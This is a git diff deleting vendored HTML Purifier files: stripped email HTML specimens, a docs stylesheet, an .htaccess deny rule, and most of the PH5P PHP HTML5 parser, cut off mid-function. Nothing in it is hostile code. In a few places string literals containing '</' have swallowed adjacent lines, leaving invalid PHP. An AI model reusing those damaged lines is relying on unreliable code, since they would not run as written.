    - - - diff --git a/vendor/htmlpurifier/docs/specimens/img.png b/vendor/htmlpurifier/docs/specimens/img.png deleted file mode 100644 index a755bcb5e..000000000 Binary files a/vendor/htmlpurifier/docs/specimens/img.png and /dev/null differ diff --git a/vendor/htmlpurifier/docs/specimens/jochem-blok-word.html b/vendor/htmlpurifier/docs/specimens/jochem-blok-word.html deleted file mode 100644 index 1cc08f888..000000000 --- a/vendor/htmlpurifier/docs/specimens/jochem-blok-word.html +++ /dev/null @@ -1,129 +0,0 @@ - - - - - - - - - - - - -
    - -

    - -

     

    - -

    Name

    - -

    E-mail : mail@example.com

    - -

     

    - -

    Company

    - -

    Address 1

    - -

    Address 2

    - -

     

    - -

    Telefoon  : +xx xx xxx xxx xx

    - -

    Fax  : +xx xx xxx xx xx

    - -

    Internet : http://www.example.com

    - -

    Kamer van koophandel -xxxxxxxxx

    - -

     

    - -

    Op deze -e-mail is een disclaimer van toepassing, ga naar www.example.com/disclaimer
    -A disclaimer is applicable to this email, please -refer to www.example.com/disclaimer

    - -

     

    - -
    - - - - diff --git a/vendor/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html b/vendor/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html deleted file mode 100644 index 735b4bd95..000000000 --- a/vendor/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html +++ /dev/null @@ -1,74 +0,0 @@ - - - - - - - -
    Play -slideshow | Download the highest quality version of a picture by -clicking the + above it
    -
    -
      -
    1. Angry smile emoticonUn ka Tev iet, un ko tu dari? -
    2. Aha!
    - -
    - - - - - - -
    - -
    -
    This - is title for this - picture
    - -
    -
     
    -
    Online -pictures are available for 30 days. Get Windows Live Mail desktop to create -your own photo e-mails.
    diff --git a/vendor/htmlpurifier/docs/style.css b/vendor/htmlpurifier/docs/style.css deleted file mode 100644 index bd79c8a00..000000000 --- a/vendor/htmlpurifier/docs/style.css +++ /dev/null @@ -1,76 +0,0 @@ -html {font-size:1em; font-family:serif; } -body {margin-left:4em; margin-right:4em; } - -dt {font-weight:bold; } -pre {margin-left:2em; } -pre, code, tt {font-family:monospace; font-size:1em; } - -h1 {text-align:center; font-family:Garamond, serif; - font-variant:small-caps;} -h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; - font-size:1.3em;} -h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } -h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } - -/* For witty quips */ -.subtitled {margin-bottom:0em;} -.subtitle , .subsubtitle {font-size:.8em; margin-bottom:1em; - font-style:italic; margin-top:-.2em;text-align:center;} -.subsubtitle {text-align:left;margin-left:2em;} - -/* Used for special "See also" links. */ -.reference {font-style:italic;margin-left:2em;} - -/* Marks off asides, discussions on why something is the way it is */ -.aside {margin-left:2em; font-family:sans-serif; font-size:0.9em; } -blockquote .label {font-weight:bold; font-size:1em; margin:0 0 .1em; - border-bottom:1px solid #CCC;} -.emphasis {font-weight:bold; text-align:center; font-size:1.3em;} - -/* A regular table */ -.table {border-collapse:collapse; border-bottom:2px solid #888; margin-left:2em; } -.table thead th {margin:0; background:#888; color:#FFF; } -.table thead th:first-child {-moz-border-radius-topleft:1em;} -.table tbody td {border-bottom:1px solid #CCC; padding-right:0.6em;padding-left:0.6em;} - -/* A quick table*/ -table.quick tbody th {text-align:right; padding-right:1em;} - -/* Category of the file */ -#filing {font-weight:bold; font-size:smaller; } - -/* Contains, without exception, Return to index. */ -#index {font-size:smaller; } - -#home {font-size:smaller;} - -/* Contains, without exception, $Id$, for SVN version info. */ -#version {text-align:right; font-style:italic; margin:2em 0;} - -#toc ol ol {list-style-type:lower-roman;} -#toc ol {list-style-type:decimal;} -#toc {list-style-type:upper-alpha;} - -q { - behavior: url(fixquotes.htc); /* IE fix */ - quotes: '\201C' '\201D' '\2018' '\2019'; -} -q:before { - content: open-quote; -} -q:after { - content: close-quote; -} - -/* Marks off implementation details interesting only to the person writing - the class described in the spec. */ -.technical {margin-left:2em; } -.technical:before {content:"Technical note: "; font-weight:bold; color:#061; } - -/* Marks off sections that are lacking. */ -.fixme {margin-left:2em; } -.fixme:before {content:"Fix me: "; font-weight:bold; color:#C00; } - -#applicability {margin: 1em 5%; font-style:italic;} - -/* vim: et sw=4 sts=4 */ diff --git a/vendor/htmlpurifier/maintenance/.htaccess b/vendor/htmlpurifier/maintenance/.htaccess deleted file mode 100644 index 3a4288278..000000000 --- a/vendor/htmlpurifier/maintenance/.htaccess +++ /dev/null @@ -1 +0,0 @@ -Deny from all diff --git a/vendor/htmlpurifier/maintenance/PH5P.php b/vendor/htmlpurifier/maintenance/PH5P.php deleted file mode 100644 index 9d83dcbf5..000000000 --- a/vendor/htmlpurifier/maintenance/PH5P.php +++ /dev/null @@ -1,3889 +0,0 @@ -data = $data; - $this->char = -1; - $this->EOF = strlen($data); - $this->tree = new HTML5TreeConstructer; - $this->content_model = self::PCDATA; - - $this->state = 'data'; - - while($this->state !== null) { - $this->{$this->state.'State'}(); - } - } - - public function save() - { - return $this->tree->save(); - } - - private function char() - { - return ($this->char < $this->EOF) - ? $this->data[$this->char] - : false; - } - - private function character($s, $l = 0) - { - if($s + $l < $this->EOF) { - if($l === 0) { - return $this->data[$s]; - } else { - return substr($this->data, $s, $l); - } - } - } - - private function characters($char_class, $start) - { - return preg_replace('#^(['.$char_class.']+).*#s', '\\1', substr($this->data, $start)); - } - - private function dataState() - { - // Consume the next input character - $this->char++; - $char = $this->char(); - - if($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { - /* U+0026 AMPERSAND (&) - When the content model flag is set to one of the PCDATA or RCDATA - states: switch to the entity data state. Otherwise: treat it as per - the "anything else" entry below. */ - $this->state = 'entityData'; - - } elseif($char === '-') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is false, and there are at - least three characters before this one in the input stream, and the - last four characters in the input stream, including this one, are - U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, - and U+002D HYPHEN-MINUS (""), - set the escape flag to false. */ - if(($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === true && - $this->character($this->char, 3) === '-->') { - $this->escape = false; - } - - /* In any case, emit the input character as a character token. - Stay in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - } elseif($this->char === $this->EOF) { - /* EOF - Emit an end-of-file token. */ - $this->EOF(); - - } elseif($this->content_model === self::PLAINTEXT) { - /* When the content model flag is set to the PLAINTEXT state - THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of - the text and emit it as a character token. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => substr($this->data, $this->char) - )); - - $this->EOF(); - - } else { - /* Anything else - THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that - otherwise would also be treated as a character token and emit it - as a single character token. Stay in the data state. */ - $len = strcspn($this->data, '<&', $this->char); - $char = substr($this->data, $this->char, $len); - $this->char += $len - 1; - - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - $this->state = 'data'; - } - } - - private function entityDataState() - { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; - $this->emitToken($char); - - // Finally, switch to the data state. - $this->state = 'data'; - } - - private function tagOpenState() - { - switch($this->content_model) { - case self::RCDATA: - case self::CDATA: - /* If the next input character is a U+002F SOLIDUS (/) character, - consume it and switch to the close tag open state. If the next - input character is not a U+002F SOLIDUS (/) character, emit a - U+003C LESS-THAN SIGN character token and switch to the data - state to process the next input character. */ - if($this->character($this->char + 1) === '/') { - $this->char++; - $this->state = 'closeTagOpen'; - - } else { - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->state = 'data'; - } - break; - - case self::PCDATA: - // If the content model flag is set to the PCDATA state - // Consume the next input character: - $this->char++; - $char = $this->char(); - - if($char === '!') { - /* U+0021 EXCLAMATION MARK (!) - Switch to the markup declaration open state. */ - $this->state = 'markupDeclarationOpen'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Switch to the close tag open state. */ - $this->state = 'closeTagOpen'; - - } elseif(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new start tag token, set its tag name to the lowercase - version of the input character (add 0x0020 to the character's code - point), then switch to the tag name state. (Don't emit the token - yet; further details will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::STARTTAG, - 'attr' => array() - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Emit a U+003C LESS-THAN SIGN character token and a - U+003E GREATER-THAN SIGN character token. Switch to the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<>' - )); - - $this->state = 'data'; - - } elseif($char === '?') { - /* U+003F QUESTION MARK (?) - Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - - } else { - /* Anything else - Parse error. Emit a U+003C LESS-THAN SIGN character token and - reconsume the current input character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->char--; - $this->state = 'data'; - } - break; - } - } - - private function closeTagOpenState() - { - $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); - $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; - - if(($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && - (!$the_same || ($the_same && (!preg_match('/[\t\n\x0b\x0c >\/]/', - $this->character($this->char + 1 + strlen($next_node))) || $this->EOF === $this->char)))) { - /* If the content model flag is set to the RCDATA or CDATA states then - examine the next few characters. If they do not match the tag name of - the last start tag token emitted (case insensitively), or if they do but - they are not immediately followed by one of the following characters: - * U+0009 CHARACTER TABULATION - * U+000A LINE FEED (LF) - * U+000B LINE TABULATION - * U+000C FORM FEED (FF) - * U+0020 SPACE - * U+003E GREATER-THAN SIGN (>) - * U+002F SOLIDUS (/) - * EOF - ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character - token, a U+002F SOLIDUS character token, and switch to the data state - to process the next input character. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => 'state = 'data'; - - } else { - /* Otherwise, if the content model flag is set to the PCDATA state, - or if the next few characters do match that tag name, consume the - next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new end tag token, set its tag name to the lowercase version - of the input character (add 0x0020 to the character's code point), then - switch to the tag name state. (Don't emit the token yet; further details - will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::ENDTAG - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Switch to the data state. */ - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F - SOLIDUS character token. Reconsume the EOF character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => 'char--; - $this->state = 'data'; - - } else { - /* Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - } - } - } - - private function tagNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } else { - /* Anything else - Append the current input character to the current tag token's tag name. - Stay in the tag name state. */ - $this->token['name'] .= strtolower($char); - $this->state = 'tagName'; - } - } - - private function beforeAttributeNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Stay in the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function attributeNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's name. - Stay in the attribute name state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['name'] .= strtolower($char); - - $this->state = 'attributeName'; - } - } - - private function afterAttributeNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the after attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the - before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function beforeAttributeValueState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the attribute value (double-quoted) state. */ - $this->state = 'attributeValueDoubleQuoted'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the attribute value (unquoted) state and reconsume - this input character. */ - $this->char--; - $this->state = 'attributeValueUnquoted'; - - } elseif($char === '\'') { - /* U+0027 APOSTROPHE (') - Switch to the attribute value (single-quoted) state. */ - $this->state = 'attributeValueSingleQuoted'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Switch to the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function attributeValueDoubleQuotedState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('double'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (double-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueDoubleQuoted'; - } - } - - private function attributeValueSingleQuotedState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '\'') { - /* U+0022 QUOTATION MARK (') - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('single'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (single-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueSingleQuoted'; - } - } - - private function attributeValueUnquotedState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('non'); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function entityInAttributeValueState() - { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, append a U+0026 AMPERSAND character to the - // current attribute's value. Otherwise, emit the character token that - // was returned. - $char = (!$entity) - ? '&' - : $entity; - - $this->emitToken($char); - } - - private function bogusCommentState() - { - /* Consume every character up to the first U+003E GREATER-THAN SIGN - character (>) or the end of the file (EOF), whichever comes first. Emit - a comment token whose data is the concatenation of all the characters - starting from and including the character that caused the state machine - to switch into the bogus comment state, up to and including the last - consumed character before the U+003E character, if any, or up to the - end of the file otherwise. (If the comment was started by the end of - the file (EOF), the token is empty.) */ - $data = $this->characters('^>', $this->char); - $this->emitToken(array( - 'data' => $data, - 'type' => self::COMMENT - )); - - $this->char += strlen($data); - - /* Switch to the data state. */ - $this->state = 'data'; - - /* If the end of the file was reached, reconsume the EOF character. */ - if($this->char === $this->EOF) { - $this->char = $this->EOF - 1; - } - } - - private function markupDeclarationOpenState() - { - /* If the next two characters are both U+002D HYPHEN-MINUS (-) - characters, consume those two characters, create a comment token whose - data is the empty string, and switch to the comment state. */ - if($this->character($this->char + 1, 2) === '--') { - $this->char += 2; - $this->state = 'comment'; - $this->token = array( - 'data' => null, - 'type' => self::COMMENT - ); - - /* Otherwise if the next seven chacacters are a case-insensitive match - for the word "DOCTYPE", then consume those characters and switch to the - DOCTYPE state. */ - } elseif(strtolower($this->character($this->char + 1, 7)) === 'doctype') { - $this->char += 7; - $this->state = 'doctype'; - - /* Otherwise, is is a parse error. Switch to the bogus comment state. - The next character that is consumed, if any, is the first character - that will be in the comment. */ - } else { - $this->char++; - $this->state = 'bogusComment'; - } - } - - private function commentState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment dash state */ - $this->state = 'commentDash'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append the input character to the comment token's data. Stay in - the comment state. */ - $this->token['data'] .= $char; - } - } - - private function commentDashState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment end state */ - $this->state = 'commentEnd'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append a U+002D HYPHEN-MINUS (-) character and the input - character to the comment token's data. Switch to the comment state. */ - $this->token['data'] .= '-'.$char; - $this->state = 'comment'; - } - } - - private function commentEndState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '-') { - $this->token['data'] .= '-'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['data'] .= '--'.$char; - $this->state = 'comment'; - } - } - - private function doctypeState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'beforeDoctypeName'; - - } else { - $this->char--; - $this->state = 'beforeDoctypeName'; - } - } - - private function beforeDoctypeNameState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the before DOCTYPE name state. - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token = array( - 'name' => strtoupper($char), - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - - } elseif($char === '>') { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->char--; - $this->state = 'data'; - - } else { - $this->token = array( - 'name' => $char, - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - } - } - - private function doctypeNameState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'AfterDoctypeName'; - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token['name'] .= strtoupper($char); - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['name'] .= $char; - } - - $this->token['error'] = ($this->token['name'] === 'HTML') - ? false - : true; - } - - private function afterDoctypeNameState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the DOCTYPE name state. - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['error'] = true; - $this->state = 'bogusDoctype'; - } - } - - private function bogusDoctypeState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - // Stay in the bogus DOCTYPE state. - } - } - - private function entity() - { - $start = $this->char; - - // This section defines how to consume an entity. This definition is - // used when parsing entities in text and in attributes. - - // The behaviour depends on the identity of the next character (the - // one immediately after the U+0026 AMPERSAND character): - - switch($this->character($this->char + 1)) { - // U+0023 NUMBER SIGN (#) - case '#': - - // The behaviour further depends on the character after the - // U+0023 NUMBER SIGN: - switch($this->character($this->char + 1)) { - // U+0078 LATIN SMALL LETTER X - // U+0058 LATIN CAPITAL LETTER X - case 'x': - case 'X': - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 - // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER - // A, through to U+0046 LATIN CAPITAL LETTER F (in other - // words, 0-9, A-F, a-f). - $char = 1; - $char_class = '0-9A-Fa-f'; - break; - - // Anything else - default: - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE (i.e. just 0-9). - $char = 0; - $char_class = '0-9'; - break; - } - - // Consume as many characters as match the range of characters - // given above. - $this->char++; - $e_name = $this->characters($char_class, $this->char + $char + 1); - $entity = $this->character($start, $this->char); - $cond = strlen($e_name) > 0; - - // The rest of the parsing happens bellow. - break; - - // Anything else - default: - // Consume the maximum number of characters possible, with the - // consumed characters case-sensitively matching one of the - // identifiers in the first column of the entities table. - $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); - $len = strlen($e_name); - - for($c = 1; $c <= $len; $c++) { - $id = substr($e_name, 0, $c); - $this->char++; - - if(in_array($id, $this->entities)) { - $entity = $id; - break; - } - } - - $cond = isset($entity); - // The rest of the parsing happens bellow. - break; - } - - if(!$cond) { - // If no match can be made, then this is a parse error. No - // characters are consumed, and nothing is returned. - $this->char = $start; - return false; - } - - // Return a character token for the character corresponding to the - // entity name (as given by the second column of the entities table). - return html_entity_decode('&'.$entity.';', ENT_QUOTES, 'UTF-8'); - } - - private function emitToken($token) - { - $emit = $this->tree->emitToken($token); - - if(is_int($emit)) { - $this->content_model = $emit; - - } elseif($token['type'] === self::ENDTAG) { - $this->content_model = self::PCDATA; - } - } - - private function EOF() - { - $this->state = null; - $this->tree->emitToken(array( - 'type' => self::EOF - )); - } -} - -class HTML5TreeConstructer -{ - public $stack = array(); - - private $phase; - private $mode; - private $dom; - private $foster_parent = null; - private $a_formatting = array(); - - private $head_pointer = null; - private $form_pointer = null; - - private $scoping = array('button','caption','html','marquee','object','table','td','th'); - private $formatting = array('a','b','big','em','font','i','nobr','s','small','strike','strong','tt','u'); - private $special = array('address','area','base','basefont','bgsound', - 'blockquote','body','br','center','col','colgroup','dd','dir','div','dl', - 'dt','embed','fieldset','form','frame','frameset','h1','h2','h3','h4','h5', - 'h6','head','hr','iframe','image','img','input','isindex','li','link', - 'listing','menu','meta','noembed','noframes','noscript','ol','optgroup', - 'option','p','param','plaintext','pre','script','select','spacer','style', - 'tbody','textarea','tfoot','thead','title','tr','ul','wbr'); - - // The different phases. - const INIT_PHASE = 0; - const ROOT_PHASE = 1; - const MAIN_PHASE = 2; - const END_PHASE = 3; - - // The different insertion modes for the main phase. - const BEFOR_HEAD = 0; - const IN_HEAD = 1; - const AFTER_HEAD = 2; - const IN_BODY = 3; - const IN_TABLE = 4; - const IN_CAPTION = 5; - const IN_CGROUP = 6; - const IN_TBODY = 7; - const IN_ROW = 8; - const IN_CELL = 9; - const IN_SELECT = 10; - const AFTER_BODY = 11; - const IN_FRAME = 12; - const AFTR_FRAME = 13; - - // The different types of elements. - const SPECIAL = 0; - const SCOPING = 1; - const FORMATTING = 2; - const PHRASING = 3; - - const MARKER = 0; - - public function __construct() - { - $this->phase = self::INIT_PHASE; - $this->mode = self::BEFOR_HEAD; - $this->dom = new DOMDocument; - - $this->dom->encoding = 'UTF-8'; - $this->dom->preserveWhiteSpace = true; - $this->dom->substituteEntities = true; - $this->dom->strictErrorChecking = false; - } - - // Process tag tokens - public function emitToken($token) - { - switch($this->phase) { - case self::INIT_PHASE: return $this->initPhase($token); break; - case self::ROOT_PHASE: return $this->rootElementPhase($token); break; - case self::MAIN_PHASE: return $this->mainPhase($token); break; - case self::END_PHASE : return $this->trailingEndPhase($token); break; - } - } - - private function initPhase($token) - { - /* Initially, the tree construction stage must handle each token - emitted from the tokenisation stage as follows: */ - - /* A DOCTYPE token that is marked as being in error - A comment token - A start tag token - An end tag token - A character token that is not one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE - An end-of-file token */ - if((isset($token['error']) && $token['error']) || - $token['type'] === 